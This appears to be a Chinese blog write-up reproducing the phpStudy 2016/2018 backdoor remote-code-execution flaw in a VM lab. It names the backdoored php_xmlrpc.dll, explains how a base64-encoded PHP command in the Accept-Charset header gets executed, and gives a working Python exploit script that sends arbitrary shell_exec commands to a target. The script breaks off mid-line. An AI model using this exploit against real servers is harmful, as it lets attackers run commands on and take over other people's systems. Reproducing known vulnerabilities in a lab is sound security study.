phpstudy_2016-2018_rce漏洞复现

前言

强如phpstudy也会有漏洞,在当时影响蛮大的,今天那就试着来复现一下这个漏洞

一.漏洞描述

RCE漏洞,攻击者可以利用该漏洞执行PHP命令和执行代码,从而控制用户系统,也可以称作phpStudy 后门。

二.漏洞等级

高危

三.影响版本

phpstudy2016

phpstudy2018

四.准备工具

VMware环境

BurpSuite

phpStudy2016

五.查看漏洞点

打开 \phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll 这个文件,找到了这个

 @eval(%s('%s')); 

eval函数把字符串当成 PHP 代码来执行

六.漏洞复现

这里是在虚拟机上搭的环境,启动phpstudy2016,访问phpinfo.php,可以正常访问

phpstudy_2016-2018_rce漏洞复现_第1张图片

打开burp suite抓包,访问后缀带有.php的文件进行抓包

phpstudy_2016-2018_rce漏洞复现_第2张图片

我们把数据包里的Accept-Encoding: gzip, deflate(deflate前面是有空格的),我们要把空格删掉,然后再加上Accept-Charset: 这个参数,这个参数是我们是我们要执行的命令,但要把命令进行base64编码,查看对方ip

phpstudy_2016-2018_rce漏洞复现_第3张图片

重发数据包,就可看到对方的IP返回了,之后可以执行查看文件的用户命令,这里就不举例了

phpstudy_2016-2018_rce漏洞复现_第4张图片

 漏洞利用脚本

import requests
import base64
import sys

url="http://192.168.175.136/phpinfo.php"#url自行更换
cmd=input("Please input command: ")#接受想执行的命令
cmd=base64.b64encode(f"print(shell_exec('{cmd}'));".encode())#base64编码,shell_exec是执行系统命令函数
headers={
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0',
    "Accept-Encoding":"gzip,deflate",
    "Accept-Charset":cmd
}
res=requests.post(url=url, headers=headers)#发送get请求
html=res.content.decode("gb2312")#返回是乱码,解码成中文形式
result=html[0:html.index("

你可能感兴趣的:(php,网络安全,web安全,系统安全,安全)